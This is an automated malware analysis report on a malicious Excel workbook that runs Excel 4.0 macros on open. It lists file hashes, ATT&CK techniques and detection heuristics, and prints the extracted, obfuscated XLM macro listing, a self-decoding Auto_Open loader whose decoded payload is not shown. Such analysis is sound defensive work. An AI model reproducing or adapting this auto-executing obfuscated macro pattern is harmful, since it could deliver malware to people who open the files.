Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0b01ad1e76acf696…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:41:27 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: c360697909a7d7fcd03351e7faf210b0 SHA-1: bf376ca45606669ec2424fab2b78c6dde60aee20 SHA-256: 0b01ad1e76acf696ca23789e91e29978edcc7ff784a1c918fef40be735a673f8
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is an Excel file containing Excel 4.0 (XLM) macros, specifically an Auto_Open macro. This macro is designed to execute automatically when the workbook is opened. The presence of dangerous formula APIs in the Auto_Open macro indicates an intent to run arbitrary code, likely to download and execute a secondary payload. No specific family could be identified.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6700 bytes
SHA-256: 0a13441730cb5b436c4bb863a3d1e8a9451c5a3cf9111c5fe508aec4082c35e9
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  epnlUK
' 0018     25 LABEL : Cell Value, String Constant - aACZSrzLAf len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E183 
' 0018     22 LABEL : Cell Value, String Constant - bbObVOS len=0 
' 0018     23 LABEL : Cell Value, String Constant - cHnpyYOz len=0 
' 0018     21 LABEL : Cell Value, String Constant - DEpwpU len=0 
' 0018     25 LABEL : Cell Value, String Constant - ENMvZXvzHU len=0 
' 0018     25 LABEL : Cell Value, String Constant - GSnpwbdpMW len=0 
' 0018     23 LABEL : Cell Value, String Constant - hXokJFsP len=0 
' 0018     26 LABEL : Cell Value, String Constant - jxqJhyLeyRa len=0 
' 0018     22 LABEL : Cell Value, String Constant - KTwHdIb len=0 
' 0018     20 LABEL : Cell Value, String Constant - LBsBj len=0 
' 0018     24 LABEL : Cell Value, String Constant - pkxWwpkLB len=0 
' 0018     27 LABEL : Cell Value, String Constant - pQmWHkdZwuLo len=0 
' 0018     25 LABEL : Cell Value, String Constant - QufEkEhFJz len=0 
' 0018     27 LABEL : Cell Value, String Constant - TDDaBJSPAKbV len=0 
' 0018     26 LABEL : Cell Value, String Constant - UVgOCTiPkVQ len=0 
' 0018     23 LABEL : Cell Value, String Constant - VoJMReZy len=0 
' 0018     24 LABEL : Cell Value, String Constant - wxCkigxZR len=0 
' 0018     25 LABEL : Cell Value, String Constant - wyxbMakiBl len=0 
' 0018     22 LABEL : Cell Value, String Constant - XFYYMZp len=0 
' 0018     21 LABEL : Cell Value, String Constant - XvICPL len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  epnlUK,T70,"",308.00000000000000000000
'  epnlUK,T71,"",-722.00000000000000000000
'  epnlUK,T72,"",969.00000000000000000000
'  epnlUK,T73,"",-886.00000000000000000000
'  epnlUK,T74,"",-244.00000000000000000000
'  epnlUK,T75,"",-277.00000000000000000000
'  epnlUK,E89,"SET.NAME("KTwHdIb",0+VALUE("0"))",""
'  epnlUK,E92,"SET.NAME("ENMvZXvzHU",KTwHdIb)",""
'  epnlUK,E97,"SET.NAME("wyxbMakiBl",KTwHdIb)",""
'  epnlUK,E102,"SET.NAME("wxCkigxZR",COUNTA(pQmWHkdZwuLo))",""
'  epnlUK,E106,"SET.NAME("UVgOCTiPkVQ",COUNTA(aACZSrzLAf))",""
'  epnlUK,E108,[],""
'  epnlUK,E113,"SET.NAME("jxqJhyLeyRa","")",""
'  epnlUK,E118,"ENMvZXvzHU",""
'  epnlUK,E123,"SET.NAME("XvICPL",HLOOKUP("*",pQmWHkdZwuLo,ENMvZXvzHU,FALSE))",""
'  epnlUK,E127,"cHnpyYOz",""
'  epnlUK,E131,"SET.NAME("hXokJFsP",KTwHdIb)",""
'  epnlUK,E136,[],""
'  epnlUK,E139,"hXokJFsP",""
'  epnlUK,E141,"VoJMReZy",""
'  epnlUK,E145,"QufEkEhFJz",""
'  epnlUK,E147,"LBsBj",""
'  epnlUK,E151,"SET.NAME("DEpwpU",VALUE(HLOOKUP("*",aACZSrzLAf,LBsBj,FALSE)))",""
'  epnlUK,E153,"bbObVOS",""
'  epnlUK,E156,"jxqJhyLeyRa",""
'  epnlUK,E161,"wyxbMakiBl",""
'  epnlUK,E164,NEXT(),""
'  epnlUK,E168,"TDDaBJSPAKbV",""
'  epnlUK,E172,[],""
'  epnlUK,E174,"GSnpwbdpMW",""
'  epnlUK,E177,NEXT(),""
'  epnlUK,E181,RETURN(),""
'  epnlUK,E202,"SET.NAME("pkxWwpkLB",E89)",""
'  epnlUK,E207,"pQmWHkdZwuLo",""
'  epnlUK,E211,"SET.NAME("aACZSrzLAf",R65C11)",""
'  epnlUK,E215,"SET.NAME("GSnpwbdpMW",222)",""
'  epnlUK,E218,"SET.NAME("XFYYMZp",5)",""
'  epnlUK,E221,pkxWwpkLB(),""
'  epnlUK,E222,HALT(),""

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